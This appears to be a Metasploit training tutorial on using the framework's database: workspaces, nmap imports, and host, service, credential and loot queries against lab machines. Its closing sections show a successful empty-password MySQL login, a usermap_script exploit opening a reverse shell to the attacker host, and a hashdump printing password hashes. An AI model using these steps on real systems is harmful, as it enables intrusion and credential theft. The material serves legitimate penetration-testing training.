Using the Database a11y.text Using the Database Setup our Metasploit Database a11y.text Setup our Metasploit Database In Kali, you will need to start up the postgresql server before using the database. root@kali : ~ # systemctl start postgresql After starting postgresql you need to create and initialize the msf database with msfdb init root@kali : ~ # msfdb init Creating database user 'msf'

Enter password for new role:

Enter it again:

Creating databases 'msf' and 'msf_test'

Creating configuration file in /usr/share/metasploit-framework/config/database.yml

Creating initial database schema Using Workspaces in Metasploit a11y.text Using Workspaces in Metasploit When we load up msfconsole, and run db_status , we can confirm that Metasploit is successfully connected to the database. msf > db_status

[*] postgresql connected to msf Seeing this capability is a meant to keepÂ track of our activities and scans in order. Itâ€™s imperative we start off on the right foot. Once connected to the database, we can start organizing our different movements by using what are called â€˜workspacesâ€™. This gives us the ability to save different scans from different locations/networks/subnets for example. Issuing the â€˜ workspace â€˜ command from the msfconsole , will display the currently selected workspaces. The â€˜ default â€˜ workspace is selected when connecting to the database, which is represented by the * beside its name. msf > workspace

* default

  msfu

  lab1

  lab2

  lab3

  lab4

msf > As we can see this can be quite handy when it comes to keeping things â€˜neatâ€™. Letâ€™s change the current workspace to â€˜msfuâ€™. msf > workspace msfu

[*] Workspace: msfu

msf > workspace

  default

* msfu

  lab1

  lab2

  lab3

  lab4

msf > Creating and deleting a workspace one simply uses the -a or -d followed by the name at the msfconsole prompt. msf > workspace -a lab4

[*] Added workspace: lab4

msf >

msf > workspace -d lab4

[*] Deleted workspace: lab4

msf > workspace Itâ€™s that simple, using the same command and adding the -h switch will provide us with the commandâ€™s other capabilities. msf > workspace -h

Usage:

    workspace   List workspaces

    workspace -v   List workspaces verbosely

    workspace [name]   Switch workspace

    workspace -a [name] ...   Add workspace(s)

    workspace -d [name] ...   Delete workspace(s)

    workspace -D   Delete all workspaces

    workspace -r   Rename workspace

workspace -h Show this help information

msf > From now on any scan or imports from 3rd party applications will be saved into this workspace. Now that we are connected to our database and workspace setup, lets look at populating it with some data. First weâ€™ll look at the different â€˜db_â€™ commands available to use using the help command from the msfconsole. msf > help

...snip...

Database Backend Commands

==========

Command	Description
creds	List all credentials in the database
db_connect	Connect to an existing database
db_disconnect	Disconnect from the current database instance
db_export	Export a file containing the contents of the database
db_import	Import a scan result file (filetype will be auto-detected)
db_nmap	Executes nmap and records the output automatically
db_rebuild_cache	Rebuilds the database-stored module cache
db_status	Show the current database status
hosts	List all hosts in the database
loot	List all loot in the database
notes	List all notes in the database
services	List all services in the database
vulns	List all vulnerabilities in the database

workspace Switch between database workspaces Importing and Scanning a11y.text

Importing and Scanning There are several ways we can do this, from scanning a host or network directly from the console, or importing a file from an earlier scan. Letâ€™s start by importing an nmap scan of the â€˜metasploitable 2â€™ host. This is done using db_import followed by the path to our file. msf > db_import /root/msfu/nmapScan

[*] Importing 'Nmap XML' data

[*] Import: Parsing with 'Rex::Parser::NmapXMLStreamParser'

[*] Importing host 172.16.194.172

[*] Successfully imported /root/msfu/nmapScan

msf > hosts

Hosts

=====

address mac name os_name os_flavor os_sp purpose info comments

------- --- ---- ------- --------- ----- ------- ---- --------

172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server

msf > Once completed we can confirm the import by issuing the hosts command. This will display all the hosts stored in our current workspace. We can also scan a host directly from the console using the db_nmap command. Scan results will be saved in our current database. The command works the same way as the command line version of nmap. msf > db_nmap -A 172.16.194.134

[*] Nmap: Starting Nmap 5.51SVN (http://nmap.org) at 2012-06-18 12:36 EDT

[*] Nmap: Nmap scan report for 172.16.194.134

[*] Nmap: Host is up (0.00031s latency).

[*] Nmap: Not shown: 994 closed ports

[*] Nmap: PORT STATE SERVICE VERSION

[*] Nmap: 80/tcp open http Apache httpd 2.2.17 ((Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4

...snip...

[*] Nmap: HOP RTT ADDRESS

[*] Nmap: 1 0.31 ms 172.16.194.134

[*] Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.91 seconds

msf >

msf > hosts

Hosts

=====

address mac name os_name os_flavor os_sp purpose info comments

------- --- ---- ------- --------- ----- ------- ---- --------

172.16.194.134 00:0C:29:68:51:BB Microsoft Windows XP server

172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server

msf > Backing Up Our Data a11y.text Backing Up Our Data Exporting our data outside the Metasploit environment is very simple. Using the db_export command all our gathered information

can be saved in a XML file. This format can be easily used and manipulated later for reporting purposes. The command has 2 outputs, the xml format, which will export all of the information currently stored in our active workspace, and the pwdump format, which exports everything related to used/gathered credentials. msf > db_export -h

Usage:

    db_export -f [-a] [filename]

    Format can be one of: xml, pwdump

[-] No output file was specified

msf > db_export -f xml /root/msfu/Exported.xml

[*] Starting export of workspace msfu to /root/msfu/Exported.xml [xml]...

[*]   >> Starting export of report

[*]   >> Starting export of hosts

[*]   >> Starting export of events

[*]   >> Starting export of services

[*]   >> Starting export of credentials

[*]   >> Starting export of web sites

[*]   >> Starting export of web pages

[*]   >> Starting export of web forms

[*]   >> Starting export of web vulns

[*]   >> Finished export of report

[*] Finished export of workspace msfu to /root/msfu/Exported.xml [xml]... Using the Hosts Command a11y.text Using the Hosts Command Now that we can import and export information to and from our database, let us look at how we can use this information within the msfconsole. Many commands are available to search for specific information stored in our database. Hosts names, address, discovered services etc. We can even use the resulting data to populate module settings

such as RHOSTS. Weâ€™ll look how this is done a bit later. The hosts command was used earlier to confirm the presence of data in our database. Letâ€™s look at the different options available and see how we use it to provide us with quick and useful information. Issuing the command with -h will display the help menu. msf > hosts -h

Usage: hosts [options] [addr1 addr2 ...]

OPTIONS:

-a,--add Add the hosts instead of searching

-d,--delete Delete the hosts instead of searching

-c <col1,col2> Only show the given columns (see list below)

-h,--help Show this help information

-u,--up Only show hosts which are up

-o Send output to a file in csv format

-O Order rows by specified column number

-R,--rhosts Set RHOSTS from the results of the search

-S,--search Search string to filter by

-i,--info Change the info of a host

-n,--name Change the name of a host

-m,--comment Change the comment of a host

-t,--tag Add or specify a tag to a range of hosts

Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count, tags Weâ€™ll start by asking the hosts command to display only the IP address and OS type using the -c switch. msf > hosts -c address,os_flavor

Hosts

=====

address os_flavor

------- ---------

172.16.194.134 XP

172.16.194.172 Ubuntu Setting up Modules a11y.text Setting up Modules Another interesting feature available to us, is the ability to search all our entries for something specific. Imagine if we wished to find only the Linux based machines from our scan. For this weâ€™d use the -S option. This option can be combined with our previous example and help fine tune our results. msf > hosts -c address,os_flavor -S Linux

Hosts

=====

address os_flavor

------- ---------

172.16.194.172 Ubuntu

msf > Using the output of our previous example, weâ€™ll feed that into the â€˜tcpâ€™ scan auxiliary module. msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

CONCURRENCY 10 yes The number of concurrent ports to check per host

FILTER no The filter string for capturing traffic

INTERFACE no The name of the interface

PCAPFILE no The name of the PCAP capture file to process

PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)

RHOSTS yes The target address range or CIDR identifier

SNAPLEN 65535 yes The number of bytes to capture

THREADS 1 yes The number of concurrent threads

TIMEOUT 1000 yes The socket connect timeout in milliseconds We can see by default, nothing is set in â€˜RHOSTSâ€™, weâ€™ll add the -R switch to the hosts command and run the module. Hopefully it will run and scan our target without any problems. msf auxiliary(tcp) > hosts -c address,os_flavor -S Linux -R

Hosts

=====

address os_flavor

------- ---------

172.16.194.172 Ubuntu

RHOSTS => 172.16.194.172

msf auxiliary(tcp) > run

[*] 172.16.194.172:25 - TCP OPEN

[*] 172.16.194.172:23 - TCP OPEN

[*] 172.16.194.172:22 - TCP OPEN

[*] 172.16.194.172:21 - TCP OPEN

[*] 172.16.194.172:53 - TCP OPEN

[*] 172.16.194.172:80 - TCP OPEN

...snip...

[*] 172.16.194.172:5432 - TCP OPEN

[*] 172.16.194.172:5900 - TCP OPEN

[*] 172.16.194.172:6000 - TCP OPEN

[*] 172.16.194.172:6667 - TCP OPEN

[*] 172.16.194.172:6697 - TCP OPEN

[*] 172.16.194.172:8009 - TCP OPEN

[*] 172.16.194.172:8180 - TCP OPEN

[*] 172.16.194.172:8787 - TCP OPEN

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed Of course this also works if our results contain more than one address. msf auxiliary(tcp) > hosts -R

Hosts

=====

address mac name os_name os_flavor os_sp purpose info comments

------- --- ---- ------- --------- ----- ------- ---- --------

172.16.194.134 00:0C:29:68:51:BB Microsoft Windows XP server

172.16.194.172 00:0C:29:D1:62:80 Linux Ubuntu server

RHOSTS => 172.16.194.134 172.16.194.172

msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name	Current Setting	Required	Description
CONCURRENCY	10	yes	The number of concurrent ports to check per host
FILTER		no	The filter string for capturing traffic
INTERFACE		no	The name of the interface
PCAPFILE		no	The name of the PCAP capture file to process
PORTS	1-10000	yes	Ports to scan (e.g. 22-25,80,110-900)
RHOSTS	172.16.194.134 172.16.194.172	yes	The target address range or CIDR identifier
SNAPLEN	65535	yes	The number of bytes to capture
THREADS	1	yes	The number of concurrent threads
TIMEOUT	1000	yes	The socket connect timeout in milliseconds You can

see how useful this may be if our database contained hundreds of entries. We could search for Windows machines only, then set the RHOSTS option for the smb_version auxiliary module very quickly. The set RHOSTS switch is available in almost all of the commands that interact with the database. Services a11y.text Services AnotherÂ way to search the database is by using the services command. Like the previous examples, we can extract very specific information with little effort. msf > services -h

Usage: services [-h] [-u] [-a] [-r] [-p >port1,port2>] [-s >name1,name2>] [-o] [addr1 addr2 ...]

-a,--add Add the services instead of searching

-d,--delete Delete the services instead of searching

-c <col1,col2> Only show the given columns

-h,--help Show this help information

-s <name1,name2> Search for a list of service names

-p <port1,port2> Search for a list of ports

-r Only show [tcp|udp] services

-u,--up Only show services which are up

-o Send output to a file in csv format

-R,--rhosts Set RHOSTS from the results of the search

-S,--search Search string to filter by

Available columns: created_at, info, name, port, proto, state, updated_at Much in the same way as the hosts command, we can specify which fields to be displayed. Coupled with the -S switch, we can also search for a service containing a particular string. msf > services -c name,info 172.16.194.134

Services

========

host name info

---- ---- ----

172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1

172.16.194.134 msrpc Microsoft Windows RPC

172.16.194.134 netbios-ssn

172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1

172.16.194.134 microsoft-ds Microsoft Windows XP microsoft-ds

172.16.194.134 mysql Here we are searching all hosts contained in our database with a service name containing the string â€˜httpâ€™. msf > services -c name,info -S http

Services

========

host name info

---- ---- ----

172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1

172.16.194.134 http Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1

172.16.194.172 http Apache httpd 2.2.8 (Ubuntu) DAV/2

172.16.194.172 http Apache Tomcat/Coyote JSP engine 1.1 The combinations for searching are enormous. We can use specific ports, or port ranges. Full or partial service name when using the -s or -S switches. For all hosts or just a select fewâ€¦ The list goes on and on. Here are a few examples, but you may need to experiment with these features in order to get what you want and need out your searches. msf > services -c info,name -p 445

Services

========

host info name

---- ---- ----

172.16.194.134 Microsoft Windows XP microsoft-ds microsoft-ds

172.16.194.172 Samba smbd 3.X workgroup: WORKGROUP netbios-ssn msf > services -c

port,proto,state -p 70-81

Services

========

host port proto state

---- ---- ----- -----

172.16.194.134 80 tcp open

172.16.194.172 75 tcp closed

172.16.194.172 71 tcp closed

172.16.194.172 72 tcp closed

172.16.194.172 73 tcp closed

172.16.194.172 74 tcp closed

172.16.194.172 70 tcp closed

172.16.194.172 76 tcp closed

172.16.194.172 77 tcp closed

172.16.194.172 78 tcp closed

172.16.194.172 79 tcp closed

172.16.194.172 80 tcp open

172.16.194.172 81 tcp closed msf > services -s http -c port 172.16.194.134

Services

========

host port

---- ----

172.16.194.134 80

172.16.194.134 443 msf > services -S Unr

Services

========

host port proto name state info

---- ---- ----- ---- ----- ----

172.16.194.172 6667 tcp irc open Unreal ircd

172.16.194.172 6697 tcp irc open Unreal ircd CSV Export a11y.text CSV Export Both the hosts and services commands give us a means of saving our query results into a file. The file format is a comma separated value, or CSV. Followed by the -o with path and filename, the information that has been displayed on the screen at this point will now be saved to disk. msf > services -s http -c port 172.16.194.134 -o /root/msfu/http.csv

[*] Wrote services to /root/msfu/http.csv

msf > hosts -S Linux -o /root/msfu/linux.csv

[*] Wrote hosts to /root/msfu/linux.csv

msf > cat /root/msfu/linux.csv

[*] exec: cat /root/msfu/linux.csv

address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments

"172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","server","",""

msf > cat /root/msfu/http.csv

[*] exec: cat /root/msfu/http.csv

host,port

"172.16.194.134","80"

"172.16.194.134","443" Creds a11y.text Creds The creds command is used to manage found and used credentials for targets in our database. Running this command without any options will display currently saved credentials. msf > creds

Credentials

==========

host port user pass type active?

---- ---- ---- ---- ---- -------

[*] Found 0 credentials. As with â€˜ db_nmap â€˜ command, successful results relating to credentials will be automatically saved to our active workspace. Letâ€™s run the auxiliary module â€˜ mysql_login â€˜ and see what happens when Metasploit scans our server. msf auxiliary(mysql_login) > run

[*] 172.16.194.172:3306 MYSQL - Found remote MySQL version 5.0.51a

[*] 172.16.194.172:3306 MYSQL - [1/2] - Trying username:'root' with password:''

[*] 172.16.194.172:3306 - SUCCESSFUL LOGIN 'root' : ''

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(mysql_login) > creds

Credentials

==========

host port user pass type active?

---- ---- ---- ---- ---- -------

172.16.194.172 3306 root password true

[*] Found 1 credential.

msf auxiliary(mysql_login) > We can see the module was able to connect to our mysql server, and because of this Metasploit saved the credentials in our database automatically for future reference. During post-exploitation of a host, gathering user credentials is an important activity in order to further penetrate a target network. As we gather sets of credentials, we can add them to our database with the creds -a command. msf > creds -a 172.16.194.134 -p 445 -u Administrator -P 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::

[*] Time: 2012-06-20 20:31:42 UTC Credential: host=172.16.194.134 port=445 proto=tcp sname= type=password user=Administrator

pass=7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: active=true

msf > creds

Credentials

==========

host port user pass type active?

---- ---- ---- ---- ---- -------

172.16.194.134 445   Administrator

7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: password true

[*] Found 1 credential. Loot a11y.text Loot Once youâ€™ve compromised a system (or three), one of the objective may be to retrieve hash dumps. From either a Windows or *nix system. In the event of a successful hash dump, this information will be stored in our database. We can view this dumps using the loot command. As with almost every command, adding the -h switch will display a little more information. msf > loot -h

Usage: loot

 Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]

  Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]

  Del: loot -d [addr1 addr2 ...]

  -a,--add   Add loot to the list of addresses, instead of listing

  -d,--delete   Delete *all* loot matching host and type

  -f,--file   File with contents of the loot to add

  -i,--info   Info of the loot to add

  -t <type1,type2> Search for a list of types

  -h,--help   Show this help information

  -S,--search   Search string to filter by Hereâ€™s an example of how one would populate the database with some loot . msf exploit(usermap_script) > exploit

[*] Started reverse double handler

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo 4uGPYOrars5OojdL;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "4uGPYOrars5OojdL\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:55138) at

2012-06-27 19:38:54 -0400

^Z

Background session 1? [y/N] y

msf exploit(usermap_script) > use post/linux/gather/hashdump

msf post(hashdump) > show options

Module options (post/linux/gather/hashdump):

Name	Current Setting	Required	Description
SESSION	1	yes	The session to run this module on.

msf post(hashdump) > sessions -l

Active sessions

==========

```
  Id  Type        Information  Connection
  --  ----        -----------  ----------
  1   shell unix              172.16.194.163:4444 -> 172.16.194.172:55138 (172.16.194.172)

msf  post(hashdump) > run

[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+]
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/b
ash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL
administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a
user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File:
/root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
[*] Post module execution completed

msf  post(hashdump) > loot
```

Loot

====

host service type name content info path

---- ------- ---- ---- ------- ---- ----

172.16.194.172 linux.hashes unshadowed_passwd.pwd text/plain Linux Unshadowed Password File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt

172.16.194.172 linux.passwd passwd.tx text/plain Linux Passwd File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.passwd_953644.txt

172.16.194.172 linux.shadow shadow.tx text/plain Linux Password Shadow File /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.shadow_492948.txt Next Meterpreter

Prev Databases